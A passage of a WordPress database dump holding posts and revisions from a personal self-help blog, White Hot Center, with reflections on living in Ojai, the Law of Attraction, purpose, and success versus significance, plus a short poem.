(34, 2, '2007-05-08 21:48:01', '2007-05-09 04:48:01', '<a href="http://whc.fbdev.org/wp-content/uploads/2007/05/keva507.jpg"><img class="alignright size-full wp-image-68" title="keva507" src="http://whc.fbdev.org/wp-content/uploads/2007/05/keva507.jpg" alt="keva507" width="253" height="339" /></a>Lately I have been musing over the fact that I live and work in paradise. An orange grove–smack dab in the middle of paradise... Ojai, California.\r\n\r\nOjai is one of the very last "old California" villages in Southern California. Neatly tucked away in a valley surrounded by mountains. Far enough away from the big city sprawl of LA and convenient to Santa Barbara and the Central Coast area. Click on the picture album to the left of this column and see for yourself. I am blessed, happy and grateful for the Ojai House. Indeed it has its price... like all things worthwhile.\r\n\r\nMy office is spacious enough for me and two assistants and the recording studio is right next door. My clients really enjoy coming here to work and plan creative projects as well... much more laid back than a corporate conferene room. And the grounds offer several different areas for working and relaxing all at the same time. One of my affirmations ends with "in an easy and relaxed manner".... whatever I am doing I am doing it in an easy and relaxed manner. This environment supports me in that way.\r\n\r\nTo stress on anything is absurd!  Right now is a magical time of life for me. I dont know if all people in my mid boomer generation share this notion. I have been around many who are angry,bitter, tired, scared, lost... Careers, raising kids, divorces, dreams... all get sort of buddled together in mid-life. It gets harder to push the ball uphill every month. Many have stopped believing in their dreams.  It has been an equally challenging time for me. But it is also a wonderful time of re-discovery, re-alignment, re-thinking the validity of old beliefs... leveraging the asset of wisdom and experience to grow and expand.  And a body in motion tends to stay in motion. There are always greater possibilities...\r\n\r\nMy work life has always been important to me. I don''t think of it as a job. For whatever reason, my work is who I am. I am what I do. I want to add value to people through creative expression of ideas. That is my life''s work. It is also the experience my Soul seeks to have in life. The ego does not drive the bus any longer... Spirit has taken the wheel. My live/ work environment is a physical manifestation of this principal in action. I was drawn to this place because I am meant to be here... it serves me, as I serve others.\r\n\r\nThe challenge to create what we desire is the greatest gift a boomer can have. It will keep us in the game, only more on our terms... Our culture is still very much a youth culture.  And nobody understands youth culture better than boomers... we invented Woodstock and a few years later Disco... we are a creative group of people... As a generation(our Fathers fought WWII), we boomers come from a conservative value system that is no longer alive in our culture... We boomers are lighting the way for the ones behind us. I am just getting started...', 'LIVE&WORK', 0, 'Lately I have been musing over the fact that I live and work in paradise. An orange grove–smack dab in the middle of paradise...Ojai, California. Ojai is one of the very last "old California" villages in Southern California. Neatly tucked...\r\n', 'publish', 'open', 'open', '', 'livework', '', '', '2009-04-03 15:01:20', '2009-04-03 22:01:20', '', 0, 'http://www.whitehotcenter.com/2007/05/livework.html', 0, 'post', '', 0),
(70, 1, '2009-04-03 15:10:22', '2009-04-03 22:10:22', '<a href="http://whc.fbdev.org/wp-content/uploads/2007/05/orangepic.jpg"><img class="alignnone size-medium wp-image-71" title="orangepic" src="http://whc.fbdev.org/wp-content/uploads/2007/05/orangepic-300x113.jpg" alt="orangepic" width="400" height="150" /></a>\n\nI picked up this interesting tid-bit about an orange...it was passed on to me by my good friend Jodi... she knows of my passion for an orange grove. This is from Michael Bungay Stanier, a writer and life coach from Toronto Canada. Check his very entertaining and useful information site at:\n\n<a href="http://www.boxofcrayons.biz">www.boxofcrayons.biz</a>\n\nHere is what he says about an orange...\n\n<strong>Why Oranges are Good for You</strong>\n\nLast week I was in San Francisco, spending some time at a conference and the rest hanging out and having fun in this funky city.\n\nMy wife and I got to explore Big Sur, a glorious stretch of countryside squeezed between wild Pacific ocean and mountains. One place we stopped was The Henry Miller Library, and I came across Miller''s book Big Sur and the Oranges of Hieronymus Bosch.\n\nYep - I didn''t understand the oranges thing either.\n\nBut Hieronymus Bosch is one of my favourite painters, and on some investigation I found that in his strange and glorious paintings, oranges symbolized paradise.\n\nAnd that association did not only occur in 15th C Netherlands. It wasn''t so long ago that oranges weren''t a ubiquitous fruit, but something rare and special - my Dad told me about getting an orange in his Christmas stocking in post-war Britain.\n\nSo as research for this article - and this is the sort of research I enjoy - I sat and ate an orange. REALLY ate an orange. And here''s what occurred to me as I enjoyed a brief moment of paradise...\n\nWhat''s juicy?\n\nThere''s that moment when you first break the peel of an orange and a little explosion of orange oil squirts out and fills the space with that familiar smell. And of course, when you bite into a wonderful orange the flesh is full and juicy.\n\nWhat''s juicy in your life right now? How can you get some more of that? How can you really enjoy it when you are there?\n\nWhat can you share?\n\nIt''s one of the simple and powerful acts of community. Peel an orange, break it in half and offer the half to someone else.\n\nThere is something you have right now that would benefit from being shared. It may be a skill or talent, it might be material goods, it might be your time.\n\nWhat will you share? Who will you share it with?\n\nI like that little metaphor very much. I will never eat an orange in quite the same way.', 'An Orange in Paradise', 0, 'I picked up this interesting tid-bit about an orange...it was passed on to me by my good friend Jodi... she knows of my passion for an orange grove. This is from MIchael Bungay Stanier, a writer and life coach from...\n', 'inherit', 'open', 'open', '', '33-autosave', '', '', '2009-04-03 15:10:22', '2009-04-03 22:10:22', '', 33, 'http://www.whitehotcenter.com/33-autosave', 0, 'revision', '', 0),
(35, 2, '2007-05-03 16:43:07', '2007-05-03 23:43:07', 'We are more than we think we are. Whether you believe it or not, we are Spiritual Beings having a physical experience. We call this experience life. I have “re-membered” that I come from all there is and ever will be. I am, like you, an infinite being with the power to create whatever I desire. And that it is possible for me to make quantum leaps towards living the life I was meant to live... in all areas of my life. This power is available always and works for everyone, every time, with no exception. It is Law. I have learned that when we have a clear intention, and it is larger than our fear and doubt, we can create dramatic results in the direction of the good we desire. I also discovered another important key–that I could create my heart’s desire in a totally easy and relaxed manner. Life does not have to be a struggle. I could chill. What a relief!\r\n\r\nIt is our Higher Nature or Spirit that “responds” exactly to the perfect life experience the Soul seeks to create. This process of discovery and understanding of the real power within us is the first critical step in creating the good we desire. It is always available. We don’t earn it, and we never lose it. The only power that can get in the way of our creating the results we desire, are the thoughts originating from our undisciplined mind. Whether conscious or not, we are the creator of our life’s circumstances. If I wanted to tap into the infinite power available to create massive success in my life, I had to first change my thinking about who and what I really am.\r\n\r\nIn the days ahead , I''ll be sharing more of the "ah-ha" moments that have given me a new perspective and approach to creating the life of my dreams. Hopefully it will add inspiration to you as well.', 'There is Infinite Power Within Us', 0, 'We are more than we think we are. Whether you believe it or not, we are Spiritual Beings having a physical experience. We call this experience life. I have “re-membered” that I come from all there is and ever will...\r\n', 'publish', 'open', 'open', '', 'there_is_infini', '', '', '2009-04-03 14:56:39', '2009-04-03 21:56:39', '', 0, 'http://www.whitehotcenter.com/2007/05/there_is_infini.html', 0, 'post', '', 0);
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(36, 2, '2007-05-03 10:31:24', '2007-05-03 17:31:24', 'I am finally getting around to making this space more in line with my vision. And today I launch the <strong>WHITE HOT CENTER</strong> as my official blog. The WHC is my place to write, ponder and share ideas about living life on purpose, connecting with the passion of a burning vision for life, and other ideas about success in every area of life. This is an a labor of love for sure, but it is my intention to  add value to those who are like-minded about their own approach to life.\r\n\r\nI am completely fascinated by the idea that when one connects on a deep level with Purpose... the very reason we are here, life begins to get exciting!  Purpose drives your vision and vision directs your goals. Or stated another way, Purpose is the "why one is here". Vision is the "doing" in alignment with Purpose. Goals are the "bites" we take out of our vision. So here is where I will share information that inspires people to connect with Purpose, create a vision, and set goals toward creating the experience what we desire. As I learn more for my own life, I want to share with others. I like the idea of adding value to people. It is a great place to start.\r\n', 'The White Hot Center', 0, 'I am finally getting around to making this space more in line with my vision. And today I launch the WHITE HOT CENTER as my official blog. The WHC is my place to write, ponder and share ideas about living...\r\n', 'publish', 'open', 'open', '', 'the_white_hot_center', '', '', '2009-04-03 14:50:16', '2009-04-03 21:50:16', '', 0, 'http://www.whitehotcenter.com/2007/05/the_white_hot_c.html', 0, 'post', '', 0),
(37, 2, '2007-02-08 09:41:12', '2007-02-08 16:41:12', 'I have been spending a good deal of time thinking about "what''s next" for me. Seemingly, I have an awareness that the fire inside me no longer has a white hot center... if it burns at all. Don''t get me wrong, this post is not intended to be dribble from someone feeling sorry for themselves. On the contrary, I am aware now that I took my belief and passion for what I wanted to accomplish for granted. I assumed it would always be there. Of course, anything you take for granted, you will lose because it was not intentionally valued. And in my apparent loss of belief and passion for what I want to do / be / have in my life, I am more aware of a wonderous opportunity for me to "remember"  my core purpose... my reason for being.\r\n\r\nTo quote Austin Powers, "I''ve lost my mojo, baby".\r\n\r\nIt seems to me now,  I will not be able to engage myself in any activity with any degree of integrity or authenticity, unless I have the fire of belief and passion raging within me. That''s how important it is to me. As a result, I am now faced with an opportunity for growth and expansion! Growth and Expansion is something I can get behind... I want my financial life to grow, I want my intellect to expand, I want to increase the quantity and quality of my relationships. I want my body to grow in health, and I want to expand my connection to the "source"... I want to play big! These are intentions that help me stoke the fire of my own life experience. But I want to "do it" on Purpose.\r\n\r\nBelief and Passion can only fuel an authentic Purpose...it can not be faked. I can''t create a better "attitude"  or "think positive" if my intention (what I want) is not in 100% alignment with my Purpose (reason for being). It is my conviction, once I state an intention of what I want in life, it must be connected to my Purpose. Only then will I be able to "laser" my attention (l focus) towards creating the experience. Only then, will belief and passion burn within me as a white hot center... lighting my way.\r\n', 'The fire inside', 0, 'I have been spending a good deal of time thinking about "what''s next" for me. Seemingly, I have an awareness that the fire inside me no longer has a white hot center... if it burns at all. Don''t get me...\r\n', 'publish', 'open', 'open', '', 'the_fire_inside', '', '', '2009-04-03 14:48:00', '2009-04-03 21:48:00', '', 0, 'http://www.whitehotcenter.com/2007/02/the_fire_inside.html', 0, 'post', '', 0),
(38, 2, '2007-02-01 19:14:56', '2007-02-02 02:14:56', 'Recently, many of my friends and acquaintances have been talking about a film called "The Secret"…  it''s a hour-long piece that basically follows another popular point of view:aka.The Law of Attraction. This idea is centered in the notion that our thoughts are powerful and "pre-pave" our life experience. What ever you are thinking is on its way to becoming your experience.  I believe this is an interesting way of looking at life, because it puts the responsibility for our life experience right where it belongs... with ourselves.\r\n\r\nWhat ever your current circumstances, you have the power to alter your life experience simply by the power of your thoughts. You make your life happen in each little now moment...so it is very important to think good thoughts.  How do you know you are thinking the right (desired) thoughts? Your emotions are your guide... if you are scared and have doubts, those emotions are clues to tell you  the more you think about being scared and doubtful, the more power you give to your thoughts of fear and doubt... and the more you will experience fear and doubt.\r\n\r\nFor me, that is an empowering idea!\r\n\r\nIf I pay attention to how I am feeling in any moment, I have the power to shift my thoughts to a thing  that creates a more desired emotion and ultimately a desired life experience. I think thoughts that serve my desires, that elevate and expand me... so I can "pre-pave" the experiences I want. Knowing it is on its way to becoming my reality.', 'Think good thoughts', 0, 'Recently, many of my friends and aquaintances have been talking about a film called "The Secret"... it''s a hour-long piece that basically follows another popular point of view:aka.The Law of Attraction. This idea is centered in the notion that our...\r\n', 'publish', 'open', 'closed', '', 'think_good_thoughts', '', '', '2009-07-23 21:03:34', '2009-07-24 04:03:34', '', 0, 'http://www.whitehotcenter.com/2007/02/think_good_thou.html', 0, 'post', '', 0),
(40, 1, '2009-03-27 16:52:11', '2009-03-27 23:52:11', '<div style="text-align: left;"><span style="font-size: 20px; color: #bf5f00; font-family: Arial;">I have been doing some thinking lately about the difference between pursuing a successful life, or a life of significance. On the surface you might think these are one and the same. Can you experience one and not the other? Are these two attributes mutually exclusive, or do they indeed go hand in hand? </span><br /><br /><span style="color: #5b5b5b; font-size: 14px; font-family: Arial;">Much of what we may define as success is subjective, and largely based on the core beliefs about life and our reaction to it that are contained in our head–notably our sub-conscious minds. Everyone desires to create a successful life. I don’t think anyone with healthy mind starts out by consciously saying, “My goal is to be a complete failure in life”.&#0160; At least I have not yet met anyone with that point of view.&#0160; I think you would basically agree with the general statement: we all want to create success in our life. This begs the bigger question –what is success and will it make you happy?</span><br /><br /><strong><span style="font-size: 14px; font-family: Arial;"><span style="color: #5b5b5b;">The Successful Life</span></span></strong><br /><br /><span style="color: #5b5b5b; font-size: 14px; font-family: Arial;">In our western culture, most people believe that you are successful when you <em>achieve something. </em>The common self-help industry definition suggests you are successful when you are pursuing the <em>achievement of goals</em> that result in financial success, personal power and authority, mastery of knowledge, material possessions and outward status in your community. While there is nothing bad or wrong with these pursuits, in of themselves, these ideals will rarely lead anyone to experience sustained happiness. I know many successful, accomplished people who are just plain miserable, and I’ll bet you do too. You may achieve the symbols of success, but they will not provide you with happiness. Like John Lennon says “money can’t buy me love”.</span><br /><br /><strong><span style="font-size: 14px; font-family: Arial;"><span style="color: #5b5b5b;">The Significant Life</span></span></strong><br /><br /><span style="color: #5b5b5b; font-size: 14px; font-family: Arial;">On the other hand, living a life of significance has its basis in an entirely different set of principles. The formula here is dramatically different than the pursuit of success. When you are pursuing significance, you engage your life in the accomplishment of ideas that deeply matter to you and contribute to the well-being and advancement of others. Your focus is on attributes like, generosity, kindness, love, relationships, value creation and connectedness. A person who is engaged in the pursuit of a Significant Life is always thinking “win/win”, not “I win”. They live their days on the creative plane not the competitive one. The equation here is simple:</span><br /><br /><span style="color: #5b5b5b; font-size: 14px; font-family: Arial;">Meaning + Contribution = Significant Happiness</span><br /><br /><span style="color: #5b5b5b; font-size: 14px; font-family: Arial;">To experience significant happiness you must discover what really matters to you in life, and have what matters to you contribute to the advancement of others. Only then can you expect to experience sustained happiness, joy, freedom and abundance. When you get this formula working in your life, the world will shower you with appreciation. Which usually takes its form in the abundance of health, well-being, loving relationships, and last but not least–lots of money! These things are the applause the world bestows on you for lighting the way for yourself and others. <br /><br /><strong>My suggestion is put your focus and attention on the pursuit of significance rather than success. You’ll be so happy that you did.</strong></span><span style="font-size: 14px; font-family: Arial;"><br /></span><br /><br /></div>\n', 'Meaning + Contribution = Significance', 0, 'I have been doing some thinking lately about the difference between pursuing a successful life, or a life of significance. On the surface you might think these are one and the same. Can you experience one and not the other?...\n', 'inherit', 'open', 'open', '', '8-revision', '', '', '2009-03-27 16:52:11', '2009-03-27 23:52:11', '', 8, 'http://www.whitehotcenter.com/2009/03/8-revision.html', 0, 'revision', '', 0),
(44, 1, '2009-03-24 09:46:54', '2009-03-24 16:46:54', '<p style="text-align: left;"><strong><span style="text-align: left; font-size: 22px; color: #bf5f00; font-family: Arial;">On this journey<br />the way is unmarked,<br />there are no maps.<br />The terrain is steep and rocky.</span></strong></p><p style="text-align: left;"><strong><span style="text-align: left; font-size: 22px; color: #bf5f00; font-family: Arial;">Each day, trusting my feet, steadfast in my purpose,<br />I go forward, my eyes on the horizon.<br /></span></strong></p><p style="text-align: left;"><strong><span style="text-align: left; font-size: 22px; color: #bf5f00; font-family: Arial;">In awe of every potential and possibility, <br />I travel light, experiencing the freedom <br />of every movement <br />towards my heart&#39;s desire.<br /></span></strong></p><p style="text-align: left;"><strong><span style="text-align: left; font-size: 22px; color: #bf5f00; font-family: Arial;">Blessed is my quest, <br />knowing all too well,<br />this journey <br />will end soon enough.<br /><br /></span></strong></p>\n', 'On this journey.', 0, 'On this journey the way is unmarked, there are no maps. The terrain is steep and rocky. Each day, trusting my feet, steadfast in my purpose, I go forward, my eyes on the horizon. In awe of every potential and...\n', 'inherit', 'open', 'open', '', '9-revision', '', '', '2009-03-24 09:46:54', '2009-03-24 16:46:54', '', 9, 'http://www.whitehotcenter.com/9-revision', 0, 'revision', '', 0),
(46, 1, '2009-03-08 13:55:51', '2009-03-08 20:55:51', '<p><a href="http://whc.fbdev.org/.a/6a00d834d6625a69e20112794143b928a4-pi" style="display: inline;"><img alt="Talk" border="0" class="at-xid-6a00d834d6625a69e20112794143b928a4 image-full " src="http://whc.fbdev.org/.a/6a00d834d6625a69e20112794143b928a4-800wi" title="Talk" /></a>\n<br /><span style="color: #bf5f00; font-size: 18px; font-family: Arial;">Have you ever thought about the words you use in your daily life?&#0160; What words do you choose in all your conversations? Are they useful, helpful, uplifting and inspiring to you and others?</span></p><div style="text-align: left;"><span style="color: #5b5b5b; font-size: 13px; font-family: Arial;">Your words are very important in determining how you feel about you. How do your words make you feel? This is a simple question. Thinking about the answer is a good idea. In my business life, I hear lots of words coming out of the people that I come into contact with. I pay attention to words. The words people use in conversation are nothing more than the representation or reflection of what’s going on with them on the inside. When you are discussing a painful or difficult situation with someone, are the words you choose those of a victor or a victim? </span><br /><br /><span style="color: #5b5b5b; font-size: 13px; font-family: Arial;">Here’s a powerful little experiment you may want to try on yourself. Write down the 10 words you seem to use the most in conversation.&#0160; Are they words of empowerment, hope, leadership, and inspiration?&#0160; If not, you may want to become more aware of the words coming out of your mouth.&#0160; All the successful people I have met,&#0160; choose their words carefully and speak in tones that reflect their devotion to their dreams and higher ideals.&#0160; When you choose language composed of words that make you and others feel better, you automatically produce a greater result.</span><br /><br /><strong><span style="color: #5b5b5b; font-size: 13px; font-family: Arial;">Words are powerful. Your words are the bricks that pave the road you walk on in life. Choose them wisely.</span><br /></strong></div><p><strong><br /></strong></p>\n', 'Talk isn''t cheap.', 0, 'Have you ever thought about the words you use in your daily life? What words do you choose in all your conversations? Are they useful, helpful, uplifting and inspiring to you and others? Your words are very important in determining...\n', 'inherit', 'open', 'open', '', '10-revision', '', '', '2009-03-08 13:55:51', '2009-03-08 20:55:51', '', 10, 'http://www.whitehotcenter.com/10-revision', 0, 'revision', '', 0),
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(50, 1, '2007-02-01 19:14:56', '2007-02-02 02:14:56', '<p>Recently, many of my friends and aquaintances have been talking about a film called "The Secret"... it''s a hour-long piece that basically follows another popular point of view:aka.The Law of Attraction. This idea is centered in the notion that our thoughts are powerful and "pre-pave" our life experience. What ever you are thinking is on its way to becoming your experience.  I believe this is an interesting way of looking at life, because it puts the responsibility for our life experience right where it belongs... with ourselves.</p>\n\n<p>What ever your current circumstances, you have the power to alter your life experience simply by the power of your thoughts. You make your life happen in each little now moment...so it is very important to think good thoughts.  How do you know you are thinking the right (desired) thoughts? Your emotions are your guide...if you are scared and have doubts, those emotions are clues to tell you  the more you think about being scared and doubtful, the more power you give to your thoughts of fear and doubt...and the more you will experience fear and doubt. </p>\n\n<p>For me, that is an empowering idea!</p>\n\n<p>If I pay attention to how I am feeling in any moment, I have the power to shift my thoughts to a thing  that creates a more desired emotion and ultimately a desired life experience. I think thoughts that serve my desires, that elevate and expand me ... so I can "pre-pave" the experiences I want. Knowing it is on its way to becoming my reality.</p>\n', 'Think good thoughts', 0, 'Recently, many of my friends and aquaintances have been talking about a film called "The Secret"... it''s a hour-long piece that basically follows another popular point of view:aka.The Law of Attraction. This idea is centered in the notion that our...\n', 'inherit', 'open', 'open', '', '38-revision', '', '', '2007-02-01 19:14:56', '2007-02-02 02:14:56', '', 38, 'http://www.whitehotcenter.com/38-revision', 0, 'revision', '', 0),
(51, 1, '2009-04-02 15:50:36', '2009-04-02 22:50:36', '<span style="font-size: 20px; color: #bf5f00; font-family: Arial;">I have been doing some thinking lately about the difference between pursuing a successful life, or a life of significance. On the surface you might think these are one and the same. Can you experience one and not the other? Are these two attributes mutually exclusive, or do they indeed go hand in hand? </span>\r\n\r\nMuch of what we may define as success is subjective, and largely based on the core beliefs about life and our reaction to it that are contained in our head–notably our sub-conscious minds. Everyone desires to create a successful life. I don’t think anyone with healthy mind starts out by consciously saying, “My goal is to be a complete failure in life”.  At least I have not yet met anyone with that point of view.  I think you would basically agree with the general statement: we all want to create success in our life. This begs the bigger question –what is success and will it make you happy?\r\n<h2>The Successful Life</h2>\r\nIn our western culture, most people believe that you are successful when you <em>achieve something. </em>The common self-help industry definition suggests you are successful when you are pursuing the <em>achievement of goals</em> that result in financial success, personal power and authority, mastery of knowledge, material possessions and outward status in your community. While there is nothing bad or wrong with these pursuits, in of themselves, these ideals will rarely lead anyone to experience sustained happiness. I know many successful, accomplished people who are just plain miserable, and I’ll bet you do too. You may achieve the symbols of success, but they will not provide you with happiness. Like John Lennon says “money can’t buy me love”.\r\n<h2>The Significant Life</h2>\r\nOn the other hand, living a life of significance has its basis in an entirely different set of principles. The formula here is dramatically different than the pursuit of success. When you are pursuing significance, you engage your life in the accomplishment of ideas that deeply matter to you and contribute to the well-being and advancement of others. Your focus is on attributes like, generosity, kindness, love, relationships, value creation and connectedness. A person who is engaged in the pursuit of a Significant Life is always thinking “win/win”, not “I win”. They live their days on the creative plane not the competitive one. The equation here is simple:\r\n<h2>Meaning + Contribution = Significant Happiness</h2>\r\nTo experience significant happiness you must discover what really matters to you in life, and have what matters to you contribute to the advancement of others. Only then can you expect to experience sustained happiness, joy, freedom and abundance. When you get this formula working in your life, the world will shower you with appreciation. Which usually takes its form in the abundance of health, well-being, loving relationships, and last but not least–lots of money! These things are the applause the world bestows on you for lighting the way for yourself and others.\r\n\r\n<strong>My suggestion is put your focus and attention on the pursuit of significance rather than success. You’ll be so happy that you did.</strong>', 'Meaning + Contribution = Significance', 0, 'I have been doing some thinking lately about the difference between pursuing a successful life, or a life of significance. On the surface you might think these are one and the same. Can you experience one and not the other?...\r\n', 'inherit', 'open', 'open', '', '8-revision-2', '', '', '2009-04-02 15:50:36', '2009-04-02 22:50:36', '', 8, 'http://www.whitehotcenter.com/8-revision-2', 0, 'revision', '', 0),
(52, 1, '2009-04-02 23:55:57', '2009-04-03 06:55:57', '<h3><span style="font-size: 20px; color: #bf5f00; font-family: Arial;">I have been doing some thinking lately about the difference between pursuing a successful life, or a life of significance. On the surface you might think these are one and the same. Can you experience one and not the other? Are these two attributes mutually exclusive, or do they indeed go hand in hand? </span></h3>\r\nMuch of what we may define as success is subjective, and largely based on the core beliefs about life and our reaction to it that are contained in our head–notably our sub-conscious minds. Everyone desires to create a successful life. I don’t think anyone with healthy mind starts out by consciously saying, “My goal is to be a complete failure in life”.  At least I have not yet met anyone with that point of view.  I think you would basically agree with the general statement: we all want to create success in our life. This begs the bigger question –what is success and will it make you happy?\r\n<h2>The Successful Life</h2>\r\nIn our western culture, most people believe that you are successful when you <em>achieve something. </em>The common self-help industry definition suggests you are successful when you are pursuing the <em>achievement of goals</em> that result in financial success, personal power and authority, mastery of knowledge, material possessions and outward status in your community. While there is nothing bad or wrong with these pursuits, in of themselves, these ideals will rarely lead anyone to experience sustained happiness. I know many successful, accomplished people who are just plain miserable, and I’ll bet you do too. You may achieve the symbols of success, but they will not provide you with happiness. Like John Lennon says “money can’t buy me love”.\r\n<h2>The Significant Life</h2>\r\nOn the other hand, living a life of significance has its basis in an entirely different set of principles. The formula here is dramatically different than the pursuit of success. When you are pursuing significance, you engage your life in the accomplishment of ideas that deeply matter to you and contribute to the well-being and advancement of others. Your focus is on attributes like, generosity, kindness, love, relationships, value creation and connectedness. A person who is engaged in the pursuit of a Significant Life is always thinking “win/win”, not “I win”. They live their days on the creative plane not the competitive one. The equation here is simple:\r\n<h2>Meaning + Contribution = Significant Happiness</h2>\r\nTo experience significant happiness you must discover what really matters to you in life, and have what matters to you contribute to the advancement of others. Only then can you expect to experience sustained happiness, joy, freedom and abundance. When you get this formula working in your life, the world will shower you with appreciation. Which usually takes its form in the abundance of health, well-being, loving relationships, and last but not least–lots of money! These things are the applause the world bestows on you for lighting the way for yourself and others.\r\n\r\n<strong>My suggestion is put your focus and attention on the pursuit of significance rather than success. You’ll be so happy that you did.</strong>', 'Meaning + Contribution = Significance', 0, 'I have been doing some thinking lately about the difference between pursuing a successful life, or a life of significance. On the surface you might think these are one and the same. Can you experience one and not the other?...\r\n', 'inherit', 'open', 'open', '', '8-revision-3', '', '', '2009-04-02 23:55:57', '2009-04-03 06:55:57', '', 8, 'http://www.whitehotcenter.com/8-revision-3', 0, 'revision', '', 0),
(53, 1, '2009-04-02 18:37:04', '2009-04-03 01:37:04', '<h3><span style="color: #bf5f00;">On this journey\r\nthe way is unmarked,\r\nthere are no maps.\r\nThe terrain is steep and rocky.</span></h3>\r\n<h3><span style="color: #bf5f00;">Each day, trusting my feet, steadfast in my purpose,\r\nI go forward, my eyes on the horizon.</span></h3>\r\n<h3><span style="color: #bf5f00;">In awe of every potential and possibility,\r\nI travel light, experiencing the freedom\r\nof every movement\r\ntowards my heart''s desire.</span></h3>\r\n<h3><span style="color: #bf5f00;">Blessed is my quest,\r\nknowing all too well,\r\nthis journey\r\nwill end soon enough.</span></h3>', 'On this journey.', 0, 'On this journey the way is unmarked, there are no maps. The terrain is steep and rocky. Each day, trusting my feet, steadfast in my purpose, I go forward, my eyes on the horizon. In awe of every potential and...\r\n', 'inherit', 'open', 'open', '', '9-revision-2', '', '', '2009-04-02 18:37:04', '2009-04-03 01:37:04', '', 9, 'http://www.whitehotcenter.com/9-revision-2', 0, 'revision', '', 0),
(54, 1, '2009-04-03 08:48:21', '2009-04-03 15:48:21', '<h2><span style="font-size: 20px; color: #bf5f00; font-family: Arial;">I have been doing some thinking lately about the difference between pursuing a successful life, or a life of significance. On the surface you might think these are one and the same. Can you experience one and not the other? Are these two attributes mutually exclusive, or do they indeed go hand in hand? </span></h2>\r\nMuch of what we may define as success is subjective, and largely based on the core beliefs about life and our reaction to it that are contained in our head–notably our sub-conscious minds. Everyone desires to create a successful life. I don’t think anyone with healthy mind starts out by consciously saying, “My goal is to be a complete failure in life”.  At least I have not yet met anyone with that point of view.  I think you would basically agree with the general statement: we all want to create success in our life. This begs the bigger question –what is success and will it make you happy?\r\n<h3>The Successful Life</h3>\r\nIn our western culture, most people believe that you are successful when you <em>achieve something. </em>The common self-help industry definition suggests you are successful when you are pursuing the <em>achievement of goals</em> that result in financial success, personal power and authority, mastery of knowledge, material possessions and outward status in your community. While there is nothing bad or wrong with these pursuits, in of themselves, these ideals will rarely lead anyone to experience sustained happiness. I know many successful, accomplished people who are just plain miserable, and I’ll bet you do too. You may achieve the symbols of success, but they will not provide you with happiness. Like John Lennon says “money can’t buy me love”.\r\n<h3>The Significant Life</h3>\r\nOn the other hand, living a life of significance has its basis in an entirely different set of principles. The formula here is dramatically different than the pursuit of success. When you are pursuing significance, you engage your life in the accomplishment of ideas that deeply matter to you and contribute to the well-being and advancement of others. Your focus is on attributes like, generosity, kindness, love, relationships, value creation and connectedness. A person who is engaged in the pursuit of a Significant Life is always thinking “win/win”, not “I win”. They live their days on the creative plane not the competitive one. The equation here is simple:\r\n<h3>Meaning + Contribution = Significant Happiness</h3>\r\nTo experience significant happiness you must discover what really matters to you in life, and have what matters to you contribute to the advancement of others. Only then can you expect to experience sustained happiness, joy, freedom and abundance. When you get this formula working in your life, the world will shower you with appreciation. Which usually takes its form in the abundance of health, well-being, loving relationships, and last but not least–lots of money! These things are the applause the world bestows on you for lighting the way for yourself and others.\r\n\r\n<strong>My suggestion is put your focus and attention on the pursuit of significance rather than success. You’ll be so happy that you did.</strong>', 'Meaning + Contribution = Significance', 0, 'I have been doing some thinking lately about the difference between pursuing a successful life, or a life of significance. On the surface you might think these are one and the same. Can you experience one and not the other?...\r\n', 'inherit', 'open', 'open', '', '8-revision-4', '', '', '2009-04-03 08:48:21', '2009-04-03 15:48:21', '', 8, 'http://www.whitehotcenter.com/8-revision-4', 0, 'revision', '', 0),
(55, 1, '2009-04-03 09:06:42', '2009-04-03 16:06:42', '', 'Talk Isn''t Cheap', 0, '', 'inherit', 'open', 'open', '', '6a00d834d6625a69e20112794143b928a4-800wi', '', '', '2009-04-03 09:06:42', '2009-04-03 16:06:42', '', 10, 'http://www.whitehotcenter.com/wp-content/uploads/2009/03/6a00d834d6625a69e20112794143b928a4-800wi.gif', 0, 'attachment', 'image/gif', 0),
(56, 1, '2009-04-02 18:40:20', '2009-04-03 01:40:20', '<a style="display: inline;" href="http://whc.fbdev.org/.a/6a00d834d6625a69e20112794143b928a4-pi"><img class="at-xid-6a00d834d6625a69e20112794143b928a4 image-full" title="Talk" src="http://whc.fbdev.org/.a/6a00d834d6625a69e20112794143b928a4-800wi" border="0" alt="Talk" /></a>\r\n<h3><span style="color: #ff8c00;">Have you ever thought about the words you use in your daily life?  What words do you choose in all your conversations? Are they useful, helpful, uplifting and inspiring to you and others?</span></h3>\r\nYour words are very important in determining how you feel about you. How do your words make you feel? This is a simple question. Thinking about the answer is a good idea. In my business life, I hear lots of words coming out of the people that I come into contact with. I pay attention to words. The words people use in conversation are nothing more than the representation or reflection of what’s going on with them on the inside. When you are discussing a painful or difficult situation with someone, are the words you choose those of a victor or a victim?\r\n\r\nHere’s a powerful little experiment you may want to try on yourself. Write down the 10 words you seem to use the most in conversation.  Are they words of empowerment, hope, leadership, and inspiration?  If not, you may want to become more aware of the words coming out of your mouth.  All the successful people I have met,  choose their words carefully and speak in tones that reflect their devotion to their dreams and higher ideals.  When you choose language composed of words that make you and others feel better, you automatically produce a greater result.\r\n\r\nWords are powerful. Your words are the bricks that pave the road you walk on in life. Choose them wisely.', 'Talk isn''t cheap.', 0, 'Have you ever thought about the words you use in your daily life? What words do you choose in all your conversations? Are they useful, helpful, uplifting and inspiring to you and others? Your words are very important in determining...\r\n', 'inherit', 'open', 'open', '', '10-revision-2', '', '', '2009-04-02 18:40:20', '2009-04-03 01:40:20', '', 10, 'http://www.whitehotcenter.com/10-revision-2', 0, 'revision', '', 0),
(57, 1, '2009-07-23 21:04:39', '2009-07-24 04:04:39', 'Recently, many of my friends and acquaintances have been talking about a film called "The Secret"…  it''s a hour-long piece that basically follows another popular point of view:aka.The Law of Attraction. This idea is centered in the notion that our thoughts are powerful and "pre-pave" our life experience. What ever you are thinking is on its way to becoming your experience.  I believe this is an interesting way of looking at life, because it puts the responsibility for our life experience right where it belongs... with ourselves.\n\nWhat ever your current circumstances, you have the power to alter your life experience simply by the power of your thoughts. You make your life happen in each little now moment...so it is very important to think good thoughts.  How do you know you are thinking the right (desired) thoughts? Your emotions are your guide... if you are scared and have doubts, those emotions are clues to tell you  the more you think about being scared and doubtful, the more power you give to your thoughts of fear and doubt... and the more you will experience fear and doubt.\n\nFor me, that is an empowering idea!\n\nIf I pay attention to how I am feeling in any moment, I have the power to shift my thoughts to a thing  that creates a more desired emotion and ultimately a desired life experience. I think thoughts that serve my desires, that elevate and expand me... so I can "pre-pave" the experiences I want. Knowing it is on its way to becoming my reality.', 'Think good thoughts', 0, 'Recently, many of my friends and aquaintances have been talking about a film called "The Secret"... it''s a hour-long piece that basically follows another popular point of view:aka.The Law of 